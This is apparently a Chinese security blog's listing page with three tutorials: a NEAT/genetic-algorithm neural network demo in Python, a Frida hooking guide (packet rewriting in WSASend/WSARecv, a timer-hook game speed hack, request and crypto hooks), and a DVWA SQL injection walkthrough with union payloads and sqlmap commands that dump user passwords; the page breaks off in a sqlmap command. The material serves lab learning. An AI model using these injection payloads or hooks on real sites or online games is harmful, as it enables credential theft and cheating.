首页
实用工具
我的旅程
在线壁纸
更多
✒️ 问题反馈
📦 文章统计
🌍 国内镜像
🎬 次元视界
📒 流水账本
🎨 在线 PS
推荐
🕵️ 开源情报
🌆 图片压缩
🍭 资产清洗
💡 我的作品
👤 关于站长
⚔️ 次 元 剑
搜索
1
【工具分享】逆向工具箱 - 次元剑
89,538 阅读
2
【技术分享】PE文件结构分析 ( RVA转FOA )
7,350 阅读
3
【技术分享】NASM x86 Assembly Language
5,982 阅读
4
【技术分享】CK竞技之王游戏辅助制作
3,725 阅读
5
【每日随记】天涯明月刀无限飞修改思路
2,816 阅读
技术分享
CTF解题
英语笔记
数学笔记
网络通信
每日随记
攻防技术
工具分享
Search
标签搜索
Windows
Web安全
Python3
Linux
逆向工程
CTF
红队技术
人工智能
C/C++
黑客工具
Go
密码学
二进制安全
数学
漏洞挖掘
Android
eNSP
渗透测试
蓝队技术
黑客大会
发光的神
累计撰写
160
篇文章
累计收到
103
条评论
首页
栏目
技术分享
CTF解题
英语笔记
数学笔记
网络通信
每日随记
攻防技术
工具分享
页面
实用工具
我的旅程
在线壁纸
✒️ 问题反馈
📦 文章统计
🌍 国内镜像
🎬 次元视界
📒 流水账本
🎨 在线 PS
推荐
🕵️ 开源情报
🌆 图片压缩
🍭 资产清洗
💡 我的作品
👤 关于站长
⚔️ 次 元 剑
搜索到
63
篇与
的结果
2023-05-18
【技术分享】NEAT 进化神经网络
简介"NeuroEvolution of Augmenting Topologies",简称:(NEAT) 它一种基于遗传算法的神经网络训练方法,通过进化神经网络的结构和权重来提高网络性能,可以将其视为一种进化人工神经网络的实现方式,在NEAT不断地交叉、变异操作下,会生成新一代的神经网络,使用适应性得分筛选出最优秀的网络作为下一代的父代,来逐步改进和优化神经网络的结构和性能。NEAT 基本原理初始化种群:开始时会创建一个初始的神经网络种群,初始种群中的每个个体都是一个具有随机连接和权重的简单神经网络。评估适应性:对于每个个体,使用其神经网络执 行任务(如玩游戏)并评估其适应性得分,适应性得分用于衡量个体在任务中的表现。选择繁殖池:根据适应性得分,选择一部分个体作为繁殖池。得分较高的个体有更大的概率被选中,以保留优秀的基因。交叉和变异操作:选择两个个体,交叉组合基因,随机改变连接和权重。新一代个体:通过交叉和变异操作生成的新个体被加入到新一代的种群中。重复迭代:重复进行第2到第5步,直到达到停止条件(如达到预设的适应性阈值、达到最大迭代次数等)。输出最优个体:在最后一代种群中,选择适应性最高的个体作为最优个体,对应的神经网络结构和权重被视为最佳解决方案。数学公式Sigmoid函数:$\text{sigmoid}(x) = \frac{1}{1 + e^{-x}}$交叉操作:$\text{childMat}[:x], \text{childMat}[x:] = \text{mat1}[:x], \text{mat2}[x:]$变异操作:$\text{mat}[i][j] = \text{random.uniform}(0, 1)$AI 谷歌小恐龙开始的神经网络结构是比较简单的,只有很少的连接点,等玩久了神经网络会慢慢通过遗传操作生成新的结构,然后适应评估筛选出最优秀的个体。AI 接球游戏以上的演示中可以发现,NEAT神经网络是可以快速的适应游戏,通过遗传算法创新性和进化,可以快速优化和调整,在进化的过程表现得十分出色。AI 小车自动驾驶AI小车游戏源码(NEAT算法) 以下实现的移动方块接小球游戏(并没有使用neat,只是一个简单的前馈神经网络)。AI 接球游戏源码# 需要安装第三方库 pip install pygame pip install numpy# main.py 文件 import pickle import random import pygame import math from NeuralNetwork import NeuralNetwork import numpy as np class Bar: def __init__(self): self.length = 120 self.height = 16 self.bar_x = (Game.width-self.length)/2 self.bar_y = Game.height-self.height self.center_x = (Game.width/2) self.center_y = Game.height-(self.height/2) self.radius = 15 self.ball_x = self.center_x self.ball_y = self.bar_x+(self.length)/2-(2*self.radius) self.ball_center_x = random.randrange(15, Game.width-15) self.ball_center_y = random.randrange(Game.height) self.ball_vel_x = 10 self.ball_vel_y = 10 self.bar_vel = 0 self.score = 0 self.fitness = 0 self.distance = 0 self.brain = NeuralNetwork(9, 4, 2) def showBar(self, x, y): pygame.draw.rect(Game.gameDisplay, Game.black, [ x, y, self.length, self.height]) def showBall(self, x, y): pygame.draw.circle(Game.gameDisplay, Game.gray, (int(x), int(y)), self.radius) def predict(self): # Quadrant I if self.ball_center_x > self.center_x: dis1 = self.calculateDistance( (self.ball_center_x), (self.ball_center_y+self.radius)) else: dis1 = -1 dis1 /= 1000 if self.ball_center_x < self.center_x: dis2 = self.calculateDistance( (self.ball_center_x), (self.ball_center_y+self.radius)) else: dis2 = -1 dis2 /= 1000 if self.ball_center_x == self.center_x: dis3 = self.calculateDistance( (self.ball_center_x), (self.ball_center_y+self.radius)) else: dis3 = -1 dis3 /= 1000 vel_x = self.ball_vel_x vel_x /= 1000 vel_y = self.ball_vel_y vel_y /= 1000 dis_wall1 = self.bar_x dis_wall2 = (Game.width) - (self.bar_x) dis_ball1 = math.sqrt((self.ball_center_x-self.bar_x)**2 + (self.ball_center_y+self.radius-(Game.height-self.height))**2) dis_ball2 = math.sqrt((self.ball_center_x-(self.bar_x+self.length)) ** 2+(self.ball_center_y+self.radius-(Game.height-self.height))**2) dis_wall1 /= Game.width dis_wall2 /= Game.width dis_ball1 /= 1000 dis_ball2 /= 1000 inputs = [dis1, dis2, dis3, dis_wall1, dis_wall2, dis_ball1, dis_ball2, vel_x, vel_y] inputs = np.array(inputs) inputs = np.reshape(inputs, (9, 1)) output = self.brain.feedforward(inputs) if output[0] > output[1]: self.moveRight() else: self.moveLeft() def moveLeft(self): if self.bar_x != 0: self.bar_x -= 10 self.center_x -= 10 self.distance += 1 def moveRight(self): if self.bar_x != (Game.width - self.length): self.bar_x += 10 self.center_x += 10 self.distance += 1 def updateVelocity(self): self.ball_center_x += self.ball_vel_x self.ball_center_y += self.ball_vel_y def isColliding(self): if (self.ball_center_y + self.radius) >= (Game.height - self.height): if self.ball_center_x >= self.bar_x and self.ball_center_x <= ( self.bar_x + self.length): return True def isCollidingSide(self): if self.ball_center_x >= Game.width or self.ball_center_x - self.radius <= 0: return True def isCollidingAbove(self): if self.ball_center_y <= 0: return True def calculateDistance(self, x, y): return math.sqrt((self.center_x-x)**2+(self.center_y-y)**2) class Game(): width = 900 height = 600 black = (0, 0, 0) gray = (70, 70, 70) gameDisplay = pygame.display.set_mode((width, height)) population = 200 generation = 1 bars = [] savedBars = [] highscore = [] score = [] def __init__(self): pygame.init() self.clock = pygame.time.Clock() self.bar = Bar() self.gameLoop() def gameLoop(self): gameExit = False font = pygame.font.SysFont(None, 25) for i in range(Game.population): self.bars.append(Bar()) while not gameExit: msg = 'Gen : ' + str(self.generation) screen_text = font.render(msg, True, (0, 0, 0)) self.gameDisplay.blit(screen_text, [10, 10]) for bar in self.bars: bar.predict() bar.updateVelocity() for event in pygame.event.get(): if event.type == pygame.QUIT: gameExit = True if event.type == pygame.KEYDOWN: if event.key == pygame.K_s: print('true') self.showBest() if bar.isColliding(): bar.ball_vel_y = -bar.ball_vel_y bar.score += 10 if bar.bar_x == 0 or bar.bar_x == Game.width-bar.length: bar.score -= 1 if len(self.highscore) > 0: if bar.score >= max(self.highscore): self.bestBar = bar.brain.serialize() self.highscore.append(bar.score) if bar.isCollidingSide(): bar.ball_vel_x = -bar.ball_vel_x if bar.isCollidingAbove(): bar.ball_vel_y = -bar.ball_vel_y if bar.ball_center_y > Game.height: self.savedBars.append(bar) self.score.append(bar.score) self.bars.remove(bar) if len(self.bars) == 0: self.generation += 1 self.highscore.append(max(self.score)) self.score = [] ga = GA(self) ga.nextGen() bar.showBar(bar.bar_x, bar.bar_y) bar.showBall(bar.ball_center_x, bar.ball_center_y) pygame.display.update() self.gameDisplay.fill((255, 255, 255)) self.clock.tick(60) pygame.quit() quit() def showBest(self): self.gameDisplay.fill((135, 206, 250)) bar = Bar() bar.brain = pickle.loads(self.bestBar) gameExit = False while not gameExit: bar.predict() bar.updateVelocity() if bar.isColliding(): bar.ball_vel_y = -bar.ball_vel_y bar.score += 1 if bar.isCollidingSide(): bar.ball_vel_x = -bar.ball_vel_x if bar.isCollidingAbove(): bar.ball_vel_y = -bar.ball_vel_y if bar.ball_center_y > Game.height: return pygame.display.update() self.gameDisplay.fill((135, 206, 250)) self.clock.tick(30) pygame.quit() quit() class GA(Game): def __init__(self, game): self.game = game def nextGen(self): self.calculateFitness() for i in range(len(self.savedBars)): self.game.bars.append(self.pickOne()) self.game.savedBars = [] self.savedBars = [] def calculateFitness(self): sum = 0 self.savedBars = self.game.savedBars for i in range(len(self.savedBars)): self.savedBars[i].fitness = ( self.savedBars[i].score)**2 + (pow(2, self.savedBars[i].distance)) sum += self.savedBars[i].fitness for i in range(len(self.savedBars)): self.savedBars[i].fitness /= sum def pickOne(self): r = random.uniform(0, 1) index = 0 while r > 0: r = r-self.savedBars[index].fitness index += 1 index -= 1 r2 = random.uniform(0, 1) index2 = 0 while r2 > 0: r2 = r2-self.savedBars[index2].fitness index2 += 1 index2 -= 1 child = Bar() bar = self.savedBars[index] bar2 = self.savedBars[index2] child.brain.in_hidden1_weights = bar.brain.crossover( bar.brain.in_hidden1_weights, bar2.brain.in_hidden1_weights) child.brain.in_hidden1_biases = bar.brain.crossover( bar.brain.in_hidden1_biases, bar2.brain.in_hidden1_biases) child.brain.hidden1_output_weights = bar.brain.crossover( bar.brain.hidden1_output_weights, bar2.brain.hidden1_output_weights) child.brain.hidden1_output_biases = bar.brain.crossover( bar.brain.hidden1_output_biases, bar2.brain.hidden1_output_biases) child.brain.mutate(child.brain.in_hidden1_weights, 0.3) child.brain.mutate(child.brain.in_hidden1_biases, 0.3) child.brain.mutate(child.brain.hidden1_output_weights, 0.3) child.brain.mutate(child.brain.hidden1_output_biases, 0.3) return child if __name__ == '__main__': game = Game()# NeuralNetwork.py 文件 import numpy as np import math import random import pickle class NeuralNetwork(): def __init__(self,input_nodes,hidden_nodes1,output_nodes): self.input_nodes = input_nodes self.hidden_nodes1 = hidden_nodes1 self.output_nodes = output_nodes self.in_hidden1_weights = np.random.rand(self.hidden_nodes1,self.input_nodes) self.hidden1_output_weights = np.random.rand(self.output_nodes,self.hidden_nodes1) self.in_hidden1_biases = np.random.rand(self.hidden_nodes1,1) self.hidden1_output_biases = np.random.rand(self.output_nodes,1) self.sigmoid_v = np.vectorize(self.sigmoid) def sigmoid(self,x): return (1/(1+math.exp(-x))) def feedforward(self,inputs): self.inputs = inputs self.hidden_layer1 = self.in_hidden1_weights.dot(self.inputs) self.hidden_layer1=self.sigmoid_v(self.hidden_layer1+self.in_hidden1_biases) self.output = self.hidden1_output_weights.dot(self.hidden_layer1) self.output =self.sigmoid_v(self.output+self.hidden1_output_biases) return self.output def crossover(self,mat1,mat2): childMat = np.zeros((mat1.shape[0],mat1.shape[1])) x = mat1.shape[0]//2 childMat[:x],childMat[x:] = mat1[:x],mat2[x:] return childMat def mutate(self,mat,rate): for i in range(mat.shape[0]): if rate > (random.uniform(0,1)): for j in range(mat.shape[1]): mat[i][j] = random.uniform(0,1) def serialize(self): return pickle.dumps(self) 代码知识点平方根函数 math.sqrt():用来计算两点之间的距离,用于碰撞检测和位置计算。幂函数 pow():用来计算适应度的幂值,用于衡量个体的适应程度。随机数生成函数 random.uniform():用于生成随机数,用于选择个体进行交叉和变异操作。算法中实现了一个简单的神经网络(NeuralNetwork)来预测下一步的移动方向,神经网络输入是游戏中的一些状态信息,如:球的位置、速度以及挡板的位置,经过计算后输出一个移动方向(左或右),这里的神经网络是手动实现的,不依赖于现有的神经网络库。在代码中还使用了遗传算法(Genetic Algorithm)来优化神经网络的结构和权重,每一代中会根据个体的适应度进行选择、交叉和变异操作,生成新一代的个体适应度的计算基于个体的得分和运动距离。
2023年05月18日
64 阅读
0 评论
12 点赞
2023-04-25
【技术分享】Frida Hook篇
简介Frida是一款基于Python + JavaScript 的hook框架,本质是一种动态插桩技术。可以用于Android、Windows、iOS等各大平台,其执行脚本基于Python或者Node.js写成,而注入代码用JavaScript写成,所以有必要了解一些这些语言的语法。本文简单讲述Frida框架的使用。Windows修改函数返回#include <stdio.h> int license() { return 0; } int main() { if(license() == 1) { printf("%s", "你做到了~"); }else{ printf("%s", "你失败了!"); } return 0; }这里我用C语言编写一个简单的例子,尝试hook函数的返回值修改为 1。objdump -M intel -d Demo | grep call这里我用 objdump 进行过滤反汇编代码,我的习惯用全局过滤 call 看看都调用了哪些函数,因为有的编译是不显示函数名称的,也就无法判断其函数的用途。这里通过调用 license() 函数判断返回值,那么只要 hook 0x1139 这个地址的返回值,就能改变判断执行的流程。var moduleName = "demo"; var baseAddress = Module.findBaseAddress(moduleName); var absoluteAddress = baseAddress.add(0x1139); Interceptor.attach(absoluteAddress, { onLeave: function(retval) { retval.replace(1); console.log("\n"); } });frida -l code.js -f demo因为程序是一运行就执行,这里用这种办法来带动程序执行并进行hook。frida-tracefrida-trace -f demo -i "printf"可以利用 frida-trace 监听函数调用和获取参数等等一系列操作。WSASend Hook// 自适应旧数据大小 Interceptor.attach(Module.getExportByName('Ws2_32.dll', 'WSASend'), { onEnter: function (args) { var hexDataWithSpaces = "00 00 00 BD 00 14 00 02 "; function hexStringWithSpacesToBytes(hexStr) { var hexValues = hexStr.replace(/\s+/g, '').match(/.{1,2}/g); var bytes = []; for (var i = 0; i < hexValues.length; i++) { bytes.push("0x" + hexValues[i]); } return bytes; } var socket = args[0].toInt32(); var sockaddr_in = Memory.alloc(16); var sockaddr_in_size = Memory.alloc(4); Memory.writeU32(sockaddr_in_size, 16); var getpeername = Module.getExportByName('Ws2_32.dll', 'getpeername'); var result = new NativeFunction(getpeername, 'int', ['int', 'pointer', 'pointer'])(socket, sockaddr_in, sockaddr_in_size); if (result === 0) { var ip = Memory.readU32(sockaddr_in.add(4)); var ipStr = ((ip & 0xFF)) + '.' + ((ip >> 8) & 0xFF) + '.' + ((ip >> 16) & 0xFF) + '.' + ((ip >> 24) & 0xFF); console.log("[+] IP Address: " + ipStr); } else { console.log("[-] Failed to retrieve IP address"); } var lpBuffers = args[1]; var dwBufferCount = args[2].toInt32(); for (var i = 0; i < dwBufferCount; i++) { var lpBuffer = lpBuffers.add(i * Process.pointerSize * 2); var bufLen = Memory.readU32(lpBuffer); if (bufLen === 173) { console.log("[+] Length=" + bufLen); var newData = hexStringWithSpacesToBytes(hexDataWithSpaces); var newDataLength = newData.length; var newBufPtr = Memory.alloc(1024); Memory.writeByteArray(newBufPtr.add(24), newData); Memory.writePointer(lpBuffer.add(Process.pointerSize), newBufPtr.add(24)); Memory.writeU32(lpBuffer, newDataLength); var modifiedData = Memory.readByteArray(newBufPtr.add(24), newDataLength); console.log(modifiedData); } } } });WSARcev Hook// 自适应旧数据大小 var buff = Memory.alloc(0x6) Memory.writeByteArray(buff, [0x32,0x32,0x32,0x32,0x32,0x32]); Interceptor.attach(Module.getExportByName('Ws2_32.dll', 'WSARecv'), { onEnter: function (args) { this.lpBuffersPtr = args[1]; this.lpNumberOfBytesRecvd = args[3]; }, onLeave: function (retval) { var lenPtr = Memory.readPointer(this.lpNumberOfBytesRecvd); var buflen = parseInt(lenPtr, 16); if (buflen == 2) { Memory.writePointer(this.lpBuffersPtr.add(Process.pointerSize), buff); ptr(this.lpNumberOfBytesRecvd).writeUInt(0x6); } } });frida -p 2085 -l WSARcev.jsJmp Hookvar baseAddress = ptr('0x4010F5'); var jmpAddress = ptr('0x4010FB'); var offset = jmpAddress.sub(baseAddress.add(5).toInt32()); var jmpOpcode = [ 0xE9, offset & 0xFF, (offset >> 8) & 0xFF, (offset >> 16) & 0xFF, (offset >> 24) & 0xFF ]; Memory.protect(baseAddress, 8, 'rw-'); Memory.writeByteArray(baseAddress, jmpOpcode);系统提权var path = 'C:/Users/28729/Desktop/main.exe'; // 替换你要执行的程序路径(不能包含中文字符) var module = Process.getModuleByName('kernel32.dll'); var WinExec = module.findExportByName('WinExec'); var WinExec = new NativeFunction(WinExec,'int', ['pointer', 'uint32']); WinExec(Memory.allocUtf8String(path), 5); console.log(WinExec.toString());端口修改Interceptor.attach(Module.getExportByName('ws2_32.dll', 'connect'), { onEnter: function(args) { var sockaddr = args[1]; var ip = Memory.readU32(sockaddr.add(4)); var ipStr = ((ip & 0xFF)) + '.' + ((ip >> 8) & 0xFF) + '.' + ((ip >> 16) & 0xFF) + '.' + ((ip >> 24) & 0xFF); // 修改端口为 80 (0x0050) Memory.writeU16(sockaddr.add(2), 0x0050); var modifiedPort = Memory.readU16(sockaddr.add(2)); console.log("[+] Modified to connect to: " + ipStr + ":" + modifiedPort); } });变速齿轮变速原理变速齿轮的原理 变速齿轮(变速精灵)通过修改游戏运行时的时间流逝速度,实现加速或减速效果。其核心思路是拦截并修改游戏调用的时间相关函数的返回值。关键时间函数 大部分游戏依赖Windows提供的计时器API来获取时间流逝数据,常用的函数包括:GetTickCount: 获取系统启动后经过的毫秒数。timeGetTime: 获取自系统启动以来的时间,单位为毫秒。这些函数在游戏中用于时间逻辑和动画刷新等。Hook技术的应用 为实现变速功能,需要使用Hook技术拦截上述API函数:在返回值的基础上加上变速比例。例如,将时间流逝的速度乘以一个比例系数(如2倍速或0.5倍速)。修改后的返回值会被游戏程序使用,从而达到加速或减速效果。实现效果 修改计时器函数返回值后:游戏中的时间会按照设定的速度流逝。动画、技能冷却、任务时间等都会受到影响。注意事项对API函数的Hook需要精确,避免引起其他程序崩溃。修改速度可能会影响游戏网络同步或反作弊机制,因此需要谨慎使用。通过Hook系统的计时器API(如GetTickCount、timeGetTime),改变游戏对时间的感知速度,从而实现游戏变速功能。这种方式通用于大多数基于Windows计时器的游戏程序。推荐下 Cheat Engine,这个工具也可以实现。Cheat Engine 此源码仅支持 64位 Python。{cloud title="变速精灵" type="bd" url="https://pan.baidu.com/s/1byEIfi3HHoZaMKy5jibVyw?pwd=2085" password=""/}AndroidHook okhttp3Java.perform(function () { var RequestBuilder = Java.use("okhttp3.Request$Builder"); var Buffer = Java.use("okio.Buffer"); RequestBuilder.build.implementation = function () { var request = this.build(); var body = request.body(); if (body != null) { var buffer = Buffer.$new(); body.writeTo(buffer); var raw_body = buffer.readUtf8(); console.log("=== HTTP Request ==="); console.log("URL: " + request.url().toString()); console.log("Body: " + raw_body); } return request; }; });so 加载检测function hook_dlopen() { Interceptor.attach(Module.findExportByName(null, "android_dlopen_ext"), { onEnter: function(args) { var pathptr = args[0]; if (pathptr !== undefined && pathptr != null) { var path = ptr(pathptr).readCString(); console.log("Loaded: " + path); } } }); }var dlopen = Module.findExportByName(null, "dlopen"); // 6.0 var android_dlopen_ext = Module.findExportByName(null, "android_dlopen_ext"); // 8.1+ Interceptor.attach(dlopen, { onEnter: function (args) { var path_ptr = args[0]; this.path = ptr(path_ptr).readCString(); console.log("[+] dlopen onEnter => " + this.path + " > 开始加载"); }, onLeave: function (retval) { console.log("[-] dlopen onLeave => " + this.path + " > 加载完成"); } }); Interceptor.attach(android_dlopen_ext, { onEnter: function (args) { var path_ptr = args[0]; this.path = ptr(path_ptr).readCString(); console.log("[+] dlopen_ext onEnter => " + this.path + " > 开始加载"); }, onLeave: function (retval) { console.log("[-] dlopen_ext onLeave => " + this.path + " > 加载完成"); } });其它-JS逆向Hook 解析参数// === JSON.parse (解密后) === var _json_parse = JSON.parse; JSON.parse = function (text, reviver) { console.log("JSON.parse:", text); debugger; return _json_parse.call(this, text, reviver); }; // === JSON.stringify (加密前) === var _json_stringify = JSON.stringify; JSON.stringify = function (value, replacer, space) { console.log("JSON.stringify:", value); debugger; return _json_stringify.call(this, value, replacer, space); }; // === XMLHttpRequest (发送 & 接收) === (function() { var _open = XMLHttpRequest.prototype.open; var _send = XMLHttpRequest.prototype.send; XMLHttpRequest.prototype.open = function(method, url) { this._url = url; this._method = method; return _open.apply(this, arguments); }; XMLHttpRequest.prototype.send = function(body) { console.log(`XHR Request [${this._method}] ${this._url}`, body); this.addEventListener("load", function() { console.log(`XHR Response [${this._method}] ${this._url}`, this.responseText); }); return _send.apply(this, arguments); }; })(); // === fetch (发送 & 接收) === var _fetch = fetch; fetch = function(input, init) { console.log("fetch Request:", input, init && init.body); return _fetch.apply(this, arguments).then(async res => { let clone = res.clone(); let text = await clone.text(); console.log("fetch Response:", text); return res; }); }; // === WebSocket (发送 & 接收) === var _ws_send = WebSocket.prototype.send; WebSocket.prototype.send = function(data) { console.log("WS Send:", data); return _ws_send.apply(this, arguments); }; var _WebSocket = window.WebSocket; window.WebSocket = function(...args) { var ws = new _WebSocket(...args); ws.addEventListener("message", function(event) { console.log("WS Message:", event.data); }); return ws; };Hook 原生加密解密// === CryptoJS AES 加密 / 解密 === if (window.CryptoJS && CryptoJS.AES) { var _aes_encrypt = CryptoJS.AES.encrypt; CryptoJS.AES.encrypt = function (msg, key, cfg) { console.log("AES encrypt input:", msg); debugger; return _aes_encrypt.apply(this, arguments); }; var _aes_decrypt = CryptoJS.AES.decrypt; CryptoJS.AES.decrypt = function (ciphertext, key, cfg) { console.log("AES decrypt input:", ciphertext); var result = _aes_decrypt.apply(this, arguments); console.log("AES decrypt output:", result.toString(CryptoJS.enc.Utf8)); debugger; return result; }; } // === CryptoJS RC4 加密 / 解密 === if (window.CryptoJS && CryptoJS.RC4) { var _rc4_encrypt = CryptoJS.RC4.encrypt; CryptoJS.RC4.encrypt = function (msg, key) { console.log("RC4 encrypt input:", msg); debugger; return _rc4_encrypt.apply(this, arguments); }; var _rc4_decrypt = CryptoJS.RC4.decrypt; CryptoJS.RC4.decrypt = function (ciphertext, key) { console.log("RC4 decrypt input:", ciphertext); var result = _rc4_decrypt.apply(this, arguments); console.log("RC4 decrypt output:", result.toString(CryptoJS.enc.Utf8)); debugger; return result; }; } // === Base64 === var _atob = atob; window.atob = function (str) { console.log("Base64 decode input:", str); var result = _atob(str); console.log("Base64 decode output:", result); debugger; return result; }; var _btoa = btoa; window.btoa = function (str) { console.log("Base64 encode input:", str); debugger; return _btoa(str); };Hook 网络通信函数// ===== Hook fetch API ===== // 拦截并打印 fetch 请求和响应 function hookFetch() { var _fetch = fetch; fetch = function (input, init) { console.log("fetch request:", input, init?.body); return _fetch.apply(this, arguments).then(async res => { let clone = res.clone(); console.log("fetch response:", await clone.text()); return res; }); }; } // ===== Hook XMLHttpRequest API ===== // 拦截并打印 XHR 请求和响应 function hookXHR() { var _open = XMLHttpRequest.prototype.open; var _send = XMLHttpRequest.prototype.send; XMLHttpRequest.prototype.open = function (method, url) { this._method = method; this._url = url; return _open.apply(this, arguments); }; XMLHttpRequest.prototype.send = function (body) { console.log(`XHR [${this._method}] ${this._url}`, body); this.addEventListener("load", () => { console.log(`XHR response [${this._method}] ${this._url}`, this.responseText); }); return _send.apply(this, arguments); }; } // ===== Hook WebSocket API ===== // 拦截并打印 WebSocket 收发数据 function hookWebSocket() { var _ws_send = WebSocket.prototype.send; WebSocket.prototype.send = function (data) { console.log("WS send:", data); return _ws_send.apply(this, arguments); }; var _WebSocket = window.WebSocket; window.WebSocket = function (...args) { var ws = new _WebSocket(...args); ws.addEventListener("message", function (event) { console.log("WS message:", event.data); }); return ws; }; } // ===== Hook WebRTC send ===== // 拦截 WebRTC 数据 function hookWebRTC() { if (window.RTCPeerConnection) { var _send = RTCDataChannel.prototype.send; RTCDataChannel.prototype.send = function (data) { console.log("WebRTC send:", data); return _send.apply(this, arguments); }; } }
2023年04月25日
488 阅读
0 评论
33 点赞
2022-12-02
【技术分享】DVWA SQL注入篇
简介DVWA(Damn Vulnerable Web Application)是一个存在各种漏洞的Web网站,可以帮助安全研究人员学习挖掘漏洞的靶机系统、里面包括一些常见的漏洞如:SQL、XSS、RCE、文件包含等等,可以很方便的快速复现漏洞。手动注入难度: LOW<?php if( isset( $_REQUEST[ 'Submit' ] ) ) { // Get input $id = $_REQUEST[ 'id' ]; // Check database $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; // 看这一段sql语句是查询的关键。 $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Get results while( $row = mysqli_fetch_assoc( $result ) ) { // Get values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } mysqli_close($GLOBALS["___mysqli_ston"]); } ?>分析: 判断是否存在sql注入,最简单的办法输入一个单引号,这样就会导致正常的sql语句语法错误,mysql就会报错在前端就能看见,可以查看下后端的源代码,在前端有提供。SELECT first_name, last_name FROM users WHERE user_id = ''';1.刚才输入了一个单引号提交了那么,sql语句就会拼接成这样,sql语法就错误了。2.在前端就会显示错误信息,那么就存在sql注入,有的时候会报错但在前端不显示,抓包多留一下。注入类型1.布尔注入:可以根据返回页面判断条件真假的注入;2.联合注入:可以使用 union 的注入;3.延时注入:不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断;4.报错注入:页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。判断方式数字型 1 or 1=1字符型 1' or '1'='11.用数字邢判断一下类型,发现还是正常反应。2.用字符型试试看,果然有惊喜全部都出来了,为什么会出现这种情况呢,明明只有自己的账户却显示了所有人的账户呢?1' or 1=1#SELECT first_name, last_name FROM users WHERE user_id = '1' or 1 = 1;3.用这样的方式构建,就会发现拼接后的结果会是这样的,这里用到了 or 就算一个错了只要有一个成立了,那就成立。猜字段1' order by 2#SELECT first_name, last_name FROM users WHERE user_id = '1' order by 2;1.通过 order by 可以发现这个表有几个字段,要是报错了那么字段就没那么多,就会像一下结果。字段位置1' union select 1,2 #SELECT first_name, last_name FROM users WHERE user_id = '1' union select 1,2;1.我们可以发现,只有两个字段那么要找下这两个字段的位置,用这两个字段的位置给我们显示结果,这里要用到 union 联合查询。查数据库名1' union select 1, database() #SELECT first_name, last_name FROM users WHERE user_id = '1' union select 1, database();1.可以发现 他的数据库名是 dvwa, 接下来就要找表名了。查数据库表名1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = "dvwa")#SELECT first_name, last_name FROM users WHERE user_id = '1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = "dvwa");查表字段1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa'#SELECT first_name, last_name FROM users WHERE user_id = '1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa';查字段内容1' union select user,password from users# SELECT first_name, last_name FROM users WHERE user_id = '1' union select user,password from users;1.成功拿到所有账号和密码,去在线的MD5解密网站解下密就可以了。难度: Medium<?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $id = $_POST[ 'id' ]; $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id); $query = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; // 可以看到是数字型 $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' ); // Get results while( $row = mysqli_fetch_assoc( $result ) ) { // Display values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } } // This is used later on in the index.php page // Setting it here so we can close the database connection in here like in the rest of the source scripts $query = "SELECT COUNT(*) FROM users;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); $number_of_rows = mysqli_fetch_row( $result )[0]; mysqli_close($GLOBALS["___mysqli_ston"]); ?> 1.发现没有地方能注入,由于是POST请求这个时候只能用抓包软件了。1 or 1=1#SELECT first_name, last_name FROM users WHERE user_id = 1 or 1=1;2.通过php后端代码的sql语句中,可以看出是数字型。1 union select user,password from users#SELECT first_name, last_name FROM users WHERE user_id = 1 union select user,password from users;3.提交后可以发现还是一样的可以获取到账号和密码。难度: High<?php if( isset( $_SESSION [ 'id' ] ) ) { // Get input $id = $_SESSION[ 'id' ]; // Check database $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' ); // Get results while( $row = mysqli_fetch_assoc( $result ) ) { // Get values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>1' union select user,password from users#SELECT first_name, last_name FROM users WHERE user_id = 1 union select user,password from users;{lamp/}sqlmap注入这里我用DVWA靶场做演示,输入123 然后提交网址搜索框会有提交的参数 复制这个网址到sqlmap注入。本章只讲怎么使用sqlmap 不懂注入原理的可以学习以下教程SQL手工注入教程:https://blog.csdn.net/weixin_53139899/article/details/124229137靶场环境下载:https://wws.lanzouj.com/i7RWK07mv1li靶场安装教程:https://blog.csdn.net/Tockm/article/details/123381630查数据库名称sqlmap -u "http://192.168.3.39/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=5246i26laqreugqd0u2updrtt2" --dbs --batch--cookie 必须带有因为关卡等级的原因 --dbs 显示数据库 --batch 静默yes 省去yes或no的操作查数据库表sqlmap -u "http://192.168.3.39/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=5246i26laqreugqd0u2updrtt2" -D dvwa -tables --batch-D 指定数据库 -tables 显示表名4.查看表中的字段名sqlmap -u "http://192.168.3.39/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; 